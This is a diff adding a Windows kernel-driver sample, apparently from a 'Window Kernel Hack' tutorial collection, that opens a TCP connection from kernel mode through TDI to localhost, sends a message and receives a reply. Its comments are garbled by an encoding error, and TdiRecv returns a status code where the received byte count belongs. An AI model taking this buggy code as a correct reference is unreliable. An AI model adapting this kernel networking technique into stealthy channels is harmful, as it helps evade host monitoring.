{E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {E3449130-F8AA-4CC0-85E6-01D7BF989956}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.v12.suo" new file mode 100644 index 0000000..0144487 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.c" new file mode 100644 index 0000000..4aa0840 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.c" @@ -0,0 +1,155 @@ +#include "Driver.h" +#include "TdiTcp.h" +#include + + +typedef struct _MY_DATA +{ + PDEVICE_OBJECT pTdiAddressDevObj; + PFILE_OBJECT pTdiEndPointFileObject; + HANDLE hTdiAddress; + HANDLE hTdiEndPoint; +}MY_DATA, *PMY_DATA; + + +// Ϣ߳ +VOID RecvThreadProc(_In_ PVOID StartContext) +{ + PMY_DATA pMyData = (PMY_DATA)StartContext; + NTSTATUS status = STATUS_SUCCESS; + char szRecvData[1024] = { 0 }; + ULONG ulRecvDataLenngth = 1024; + RtlZeroMemory(szRecvData, ulRecvDataLenngth); + + // TDI TCPϢ + do + { + ulRecvDataLenngth = TdiRecv(pMyData->pTdiAddressDevObj, pMyData->pTdiEndPointFileObject, szRecvData, ulRecvDataLenngth); + if (0 < ulRecvDataLenngth) + { + DbgPrint("[TDI Recv]%s\n", szRecvData); + break;; + } + + } while (TRUE); + + // ͷ + TdiClose(pMyData->pTdiEndPointFileObject, pMyData->hTdiAddress, pMyData->hTdiEndPoint); + ExFreePool(pMyData); +} + + +// TDI ͨŲ +VOID TdiTest() +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hTdiAddress = NULL; + HANDLE hTdiEndPoint = NULL; + PDEVICE_OBJECT pTdiAddressDevObj = NULL; + PFILE_OBJECT pTdiEndPointFileObject = NULL; + LONG pServerIp[4] = {127, 0, 0, 1}; + LONG lServerPort = 12345; + UCHAR szSendData[] = "I am Demon`Gan--->From TDI"; + ULONG ulSendDataLength = 1 + strlen(szSendData); + HANDLE hThread = NULL; + + // TDIʼ + status = TdiOpen(&pTdiAddressDevObj, &pTdiEndPointFileObject, &hTdiAddress, &hTdiEndPoint); + if (!NT_SUCCESS(status)) + { + DbgPrint("TdiOpen Error[0x%X]\n", status); + return; + } + // TDI TCPӷ + status = TdiConnection(pTdiAddressDevObj, pTdiEndPointFileObject, pServerIp, lServerPort); + if (!NT_SUCCESS(status)) + { + DbgPrint("TdiConnection Error[0x%X]\n", status); + return; + } + // TDI TCPϢ + status = TdiSend(pTdiAddressDevObj, pTdiEndPointFileObject, szSendData, ulSendDataLength); + if (!NT_SUCCESS(status)) + { + DbgPrint("TdiSend Error[0x%X]\n", status); + return; + } + DbgPrint("[TDI Send]%s\n", szSendData); + // Ϣ߳, ѭϢ + PMY_DATA pMyData = ExAllocatePool(NonPagedPool, sizeof(MY_DATA)); + pMyData->pTdiAddressDevObj = pTdiAddressDevObj; + pMyData->pTdiEndPointFileObject = pTdiEndPointFileObject; + pMyData->hTdiAddress = hTdiAddress; + pMyData->hTdiEndPoint = hTdiEndPoint; + PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, RecvThreadProc, pMyData); +} + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + NTSTATUS status = STATUS_SUCCESS; + + pDriverObject->DriverUnload = DriverUnload; + pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle; + + // TDI ͨŲ + TdiTest(); + + DbgPrint("Leave DriverEntry\n"); + return STATUS_SUCCESS; +} + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter DriverUnload\n"); + + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } + + DbgPrint("Leave DriverUnload\n"); +} + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverDefaultHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverDefaultHandle\n"); + return status; +} + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + NTSTATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDevObj = NULL; + UNICODE_STRING ustrDevName, ustrSymName; + + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + status = IoCreateDevice(pDriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + ShowError("IoCreateDevice", status); + return status; + } + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + ShowError("IoCreateSymbolicLink", status); + IoDeleteDevice(pDevObj); + return status; + } + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.h" new file mode 100644 index 0000000..794cdf6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/Driver.h" @@ -0,0 +1,18 @@ +#ifndef _DRIVEr_H_ +#define _DRIVEr_H_ + +#include + +#include + + +#define DEV_NAME L"\\Device\\MY_TDI_DEV_NAME" +#define SYM_NAME L"\\DosDevices\\MY_TDI_SYM_NAME" + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.inf" new file mode 100644 index 0000000..fee4af6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.inf" @@ -0,0 +1,32 @@ +; +; TdiCommunicate_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="TdiCommunicate_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj" new file mode 100644 index 0000000..9c78a87 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {E3449130-F8AA-4CC0-85E6-01D7BF989956} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + TdiCommunicate_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.filters" new file mode 100644 index 0000000..572f98a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.user" new file mode 100644 index 0000000..1e301a9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiCommunicate_Test.vcxproj.user" @@ -0,0 +1,43 @@ + + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.c" new file mode 100644 index 0000000..2b0aa84 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.c" @@ -0,0 +1,370 @@ +#include "TdiTcp.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + KdPrint(("%s Error!\nError Code Is: 0x%8X\n", lpszText, ntStatus)); +} + + +// ɻص +NTSTATUS TdiCompletionRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext) +{ + DbgPrint("Enter TDICompletionRoutine\n"); + + if (NULL != pContext) + { + KeSetEvent((PKEVENT)pContext, IO_NO_INCREMENT, FALSE); + } + + DbgPrint("Leave TDICompletionRoutine\n"); + return STATUS_MORE_PROCESSING_REQUIRED; +} + + +// TDIʼ +NTSTATUS TdiOpen(PDEVICE_OBJECT *ppTdiAddressDevObj, PFILE_OBJECT *ppTdiEndPointFileObject, HANDLE *phTdiAddress, HANDLE *phTdiEndPoint) +{ + DbgPrint("Enter OpenTdi\n"); + + NTSTATUS status = STATUS_UNSUCCESSFUL; + PFILE_FULL_EA_INFORMATION pAddressEaBuffer = NULL; + ULONG ulAddressEaBufferLength = 0; + PTA_IP_ADDRESS pTaIpAddr = NULL; + UNICODE_STRING ustrTDIDevName; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + HANDLE hTdiAddress = NULL; + PFILE_OBJECT pTdiAddressFileObject = NULL; + PDEVICE_OBJECT pTdiAddressDevObj = NULL; + PFILE_FULL_EA_INFORMATION pContextEaBuffer = NULL; + ULONG ulContextEaBufferLength = 0; + HANDLE hTdiEndPoint = NULL; + PFILE_OBJECT pTdiEndPointFileObject = NULL; + KEVENT irpCompleteEvent = { 0 }; + PIRP pIrp = NULL; + + do + { + // ΪصַչԽṹڴ漰ʼ + ulAddressEaBufferLength = sizeof(FILE_FULL_EA_INFORMATION) + TDI_TRANSPORT_ADDRESS_LENGTH + sizeof(TA_IP_ADDRESS); + pAddressEaBuffer = (PFILE_FULL_EA_INFORMATION)ExAllocatePool(NonPagedPool, ulAddressEaBufferLength); + if (NULL == pAddressEaBuffer) + { + ShowError("ExAllocatePool[Address]", 0); + break; + } + RtlZeroMemory(pAddressEaBuffer, ulAddressEaBufferLength); + RtlCopyMemory(pAddressEaBuffer->EaName, TdiTransportAddress, (1 + TDI_TRANSPORT_ADDRESS_LENGTH)); + pAddressEaBuffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; + pAddressEaBuffer->EaValueLength = sizeof(TA_IP_ADDRESS); + // ʼIPַ˿ + pTaIpAddr = (PTA_IP_ADDRESS)((PUCHAR)pAddressEaBuffer->EaName + pAddressEaBuffer->EaNameLength + 1); + pTaIpAddr->TAAddressCount = 1; + pTaIpAddr->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; + pTaIpAddr->Address[0].AddressType = TDI_ADDRESS_TYPE_IP; + pTaIpAddr->Address[0].Address[0].sin_port = 0; // 0ʾ˿ + pTaIpAddr->Address[0].Address[0].in_addr = 0; // 0ʾIPַ + RtlZeroMemory(pTaIpAddr->Address[0].Address[0].sin_zero, sizeof(pTaIpAddr->Address[0].Address[0].sin_zero)); + // TDI豸ַʼ豸 + RtlInitUnicodeString(&ustrTDIDevName, COMM_TCP_DEV_NAME); + InitializeObjectAttributes(&ObjectAttributes, &ustrTDIDevName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + // ݱصַչԽṹصַ + status = ZwCreateFile(&hTdiAddress, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, + &ObjectAttributes, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, FILE_OPEN, 0, pAddressEaBuffer, ulAddressEaBufferLength); + if (!NT_SUCCESS(status)) + { + ShowError("ZwCreateFile[Address]", status); + break; + } + // ݱصַȡӦıصַļ + status = ObReferenceObjectByHandle(hTdiAddress, + FILE_ANY_ACCESS, 0, KernelMode, &pTdiAddressFileObject, NULL); + if (!NT_SUCCESS(status)) + { + ShowError("ObReferenceObjectHandle[EndPoint]", status); + break; + } + + // ȡصַļӦ豸 + pTdiAddressDevObj = IoGetRelatedDeviceObject(pTdiAddressFileObject); + if (NULL == pTdiAddressDevObj) + { + ShowError("IoGetRelatedDeviceObject", 0); + break; + } + + // Ϊչڴ沢ʼ + ulContextEaBufferLength = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) + TDI_CONNECTION_CONTEXT_LENGTH + 1 + sizeof(CONNECTION_CONTEXT); + pContextEaBuffer = (PFILE_FULL_EA_INFORMATION)ExAllocatePool(NonPagedPool, ulContextEaBufferLength); + if (NULL == pContextEaBuffer) + { + ShowError("ExAllocatePool[EndPoint]", 0); + break; + } + RtlZeroMemory(pContextEaBuffer, ulContextEaBufferLength); + RtlCopyMemory(pContextEaBuffer->EaName, TdiConnectionContext, (1 + TDI_CONNECTION_CONTEXT_LENGTH)); + pContextEaBuffer->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH; + pContextEaBuffer->EaValueLength = sizeof(CONNECTION_CONTEXT); + // ĴTDI˵ + status = ZwCreateFile(&hTdiEndPoint, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, + &ObjectAttributes, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, + FILE_OPEN, 0, pContextEaBuffer, ulContextEaBufferLength); + if (!NT_SUCCESS(status)) + { + ShowError("ZwCreateFile[EndPoint]", status); + break; + } + // TDI˵ȡӦĶ˵ļ + status = ObReferenceObjectByHandle(hTdiEndPoint, + FILE_ANY_ACCESS, 0, KernelMode, &pTdiEndPointFileObject, NULL); + if (!NT_SUCCESS(status)) + { + ShowError("ObReferenceObjectHandle[EndPoint]", status); + break; + } + + // ¼ + KeInitializeEvent(&irpCompleteEvent, NotificationEvent, FALSE); + + // TDI˵뱾صַ, TDII/O:TDI_ASSOCIATE_ADDRESS + pIrp = TdiBuildInternalDeviceControlIrp(TDI_ASSOCIATE_ADDRESS, + pTdiAddressDevObj, pTdiEndPointFileObject, &irpCompleteEvent, &iosb); + if (NULL == pIrp) + { + ShowError("TdiBuildInternalDeviceControlIrp", 0); + break; + } + // չI/O + TdiBuildAssociateAddress(pIrp, pTdiAddressDevObj, pTdiEndPointFileObject, NULL, NULL, hTdiAddress); + + // ʵĻص + IoSetCompletionRoutine(pIrp, TdiCompletionRoutine, &irpCompleteEvent, TRUE, TRUE, TRUE); + + // I/Oȴִ + status = IoCallDriver(pTdiAddressDevObj, pIrp); + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&irpCompleteEvent, Executive, KernelMode, FALSE, NULL); + } + + // + *ppTdiAddressDevObj = pTdiAddressDevObj; + *ppTdiEndPointFileObject = pTdiEndPointFileObject; + *phTdiAddress = hTdiAddress; + *phTdiEndPoint = hTdiEndPoint; + + }while (FALSE); + + // ͷڴ + if (pTdiAddressFileObject) + { + ObDereferenceObject(pTdiAddressFileObject); // + } + if (pContextEaBuffer) + { + ExFreePool(pContextEaBuffer); + } + if (pAddressEaBuffer) + { + ExFreePool(pAddressEaBuffer); + } + + DbgPrint("Leave OpenTdi\n"); + return status; +} + + +// TDI TCPӷ +NTSTATUS TdiConnection(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, LONG *pServerIp, LONG lServerPort) +{ + DbgPrint("Enter TdiConnection\n"); + + NTSTATUS status = STATUS_SUCCESS; + IO_STATUS_BLOCK iosb = { 0 }; + PIRP pIrp = NULL; + KEVENT connEvent = { 0 }; + TA_IP_ADDRESS serverTaIpAddr = { 0 }; + ULONG serverIpAddr = 0; + USHORT serverPort = 0; + TDI_CONNECTION_INFORMATION serverConnection = { 0 }; + + // ¼ + KeInitializeEvent(&connEvent, NotificationEvent, FALSE); + + // TDII/O:TDI_CONNECT + pIrp = TdiBuildInternalDeviceControlIrp(TDI_CONNECT, pTdiAddressDevObj, pTdiEndPointFileObject, &connEvent, &iosb); + if (NULL == pIrp) + { + ShowError("TdiBuildInternalDeviceControlIrp_TDI_CONNECT", 0); + return STATUS_INSUFFICIENT_RESOURCES; + } + + // ʼIPַ˿ + serverIpAddr = INETADDR(pServerIp[0], pServerIp[1], pServerIp[2], pServerIp[3]); + serverPort = HTONS(lServerPort); + serverTaIpAddr.TAAddressCount = 1; + serverTaIpAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; + serverTaIpAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP; + serverTaIpAddr.Address[0].Address[0].sin_port = serverPort; + serverTaIpAddr.Address[0].Address[0].in_addr = serverIpAddr; + serverConnection.UserDataLength = 0; + serverConnection.UserData = 0; + serverConnection.OptionsLength = 0; + serverConnection.Options = 0; + serverConnection.RemoteAddressLength = sizeof(TA_IP_ADDRESS); + serverConnection.RemoteAddress = &serverTaIpAddr; + + // ĵַ˿ϢӵI/O,Ϣ + TdiBuildConnect(pIrp, pTdiAddressDevObj, pTdiEndPointFileObject, NULL, NULL, NULL, &serverConnection, 0); + + // ʵص + IoSetCompletionRoutine(pIrp, TdiCompletionRoutine, &connEvent, TRUE, TRUE, TRUE); + + // I/Oȴִ + status = IoCallDriver(pTdiAddressDevObj, pIrp); + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&connEvent, Executive, KernelMode, FALSE, NULL); + } + + DbgPrint("Leave TdiConnection\n"); + return status; +} + + +// TDI TCPϢ +NTSTATUS TdiSend(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, PUCHAR pSendData, ULONG ulSendDataLength) +{ + DbgPrint("Enter TdiSend\n"); + + NTSTATUS status = STATUS_SUCCESS; + KEVENT sendEvent; + PIRP pIrp = NULL; + IO_STATUS_BLOCK iosb = {0}; + PMDL pSendMdl = NULL; + + // ʼ¼ + KeInitializeEvent(&sendEvent, NotificationEvent, FALSE); + + // I/O:TDI_SEND + pIrp = TdiBuildInternalDeviceControlIrp(TDI_SEND, pTdiAddressDevObj, pTdiEndPointFileObject, &sendEvent, &iosb); + if (NULL == pIrp) + { + ShowError("TdiBuildInternalDeviceControlIrp", 0); + return STATUS_INSUFFICIENT_RESOURCES; + } + + // MDL + pSendMdl = IoAllocateMdl(pSendData, ulSendDataLength, FALSE, FALSE, pIrp); + if (NULL == pSendMdl) + { + ShowError("IoAllocateMdl", 0); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmProbeAndLockPages(pSendMdl, KernelMode, IoModifyAccess); + + // չI/O,ӷϢ + TdiBuildSend(pIrp, pTdiAddressDevObj, pTdiEndPointFileObject, NULL, NULL, pSendMdl, 0, ulSendDataLength); + + // ʵص + IoSetCompletionRoutine(pIrp, TdiCompletionRoutine, &sendEvent, TRUE, TRUE, TRUE); + + // I/Oȴִ + status = IoCallDriver(pTdiAddressDevObj, pIrp); + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&sendEvent, Executive, KernelMode, FALSE, NULL); + } + + // ͷMDL + if (pSendMdl) + { + IoFreeMdl(pSendMdl); + } + + DbgPrint("Leave TdiSend\n"); + return status; +} + + +// TDI TCPϢ +ULONG_PTR TdiRecv(PDEVICE_OBJECT pTdiAddressDevObj, PFILE_OBJECT pTdiEndPointFileObject, PUCHAR pRecvData, ULONG ulRecvDataLength) +{ + DbgPrint("Enter TdiRecv\n"); + + NTSTATUS status = STATUS_SUCCESS; + KEVENT recvEvent; + PIRP pIrp = NULL; + IO_STATUS_BLOCK iosb = { 0 }; + PMDL pRecvMdl = NULL; + ULONG_PTR ulRecvSize = 0; + + // ʼ¼ + KeInitializeEvent(&recvEvent, NotificationEvent, FALSE); + + // I/O:TDI_SEND + pIrp = TdiBuildInternalDeviceControlIrp(TDI_RECV, pTdiAddressDevObj, pTdiEndPointFileObject, &recvEvent, &iosb); + if (NULL == pIrp) + { + ShowError("TdiBuildInternalDeviceControlIrp", 0); + return STATUS_INSUFFICIENT_RESOURCES; + } + + // MDL + pRecvMdl = IoAllocateMdl(pRecvData, ulRecvDataLength, FALSE, FALSE, pIrp); + if (NULL == pRecvMdl) + { + ShowError("IoAllocateMdl", 0); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmProbeAndLockPages(pRecvMdl, KernelMode, IoModifyAccess); + + // չI/O,ӷϢ + TdiBuildReceive(pIrp, pTdiAddressDevObj, pTdiEndPointFileObject, NULL, NULL, pRecvMdl, TDI_RECEIVE_NORMAL, ulRecvDataLength); + + // ʵص + IoSetCompletionRoutine(pIrp, TdiCompletionRoutine, &recvEvent, TRUE, TRUE, TRUE); + + // I/Oȴִ + status = IoCallDriver(pTdiAddressDevObj, pIrp); + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&recvEvent, Executive, KernelMode, FALSE, NULL); + } + + // ȡʵʽյݴС + ulRecvSize = pIrp->IoStatus.Information; + + // ͷMDL + if (pRecvMdl) + { + IoFreeMdl(pRecvMdl); + } + + DbgPrint("Leave TdiRecv\n"); + return status; +} + + +// TDIرͷ +VOID TdiClose(PFILE_OBJECT pTdiEndPointFileObject, HANDLE hTdiAddress, HANDLE hTdiEndPoint) +{ + DbgPrint("Enter TdiClose\n"); + + if (pTdiEndPointFileObject) + { + ObDereferenceObject(pTdiEndPointFileObject); + } + if (hTdiEndPoint) + { + ZwClose(hTdiEndPoint); + } + if (hTdiAddress) + { + ZwClose(hTdiAddress); + } + + DbgPrint("Leave TdiClose\n"); +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.h" new file mode 100644 index 0000000..447927d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/TDI\347\275\221\347\273\234\351\200\232\344\277\241/TdiCommunicate_Test/TdiCommunicate_Test/TdiTcp.h" @@ -0,0 +1,32 @@ +#ifndef _TDI_TCP_H_ +#define _TDI_TCP_H_ + + +#include +#include + +// TCP豸 +#define COMM_TCP_DEV_NAME L"\\Device\\Tcp" + +// ַתĺ +#define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24)) +#define HTONL(a) (((a & 0xFF)<<24) + ((a & 0xFF00)<<8) + ((a & 0xFF0000)>>8) + 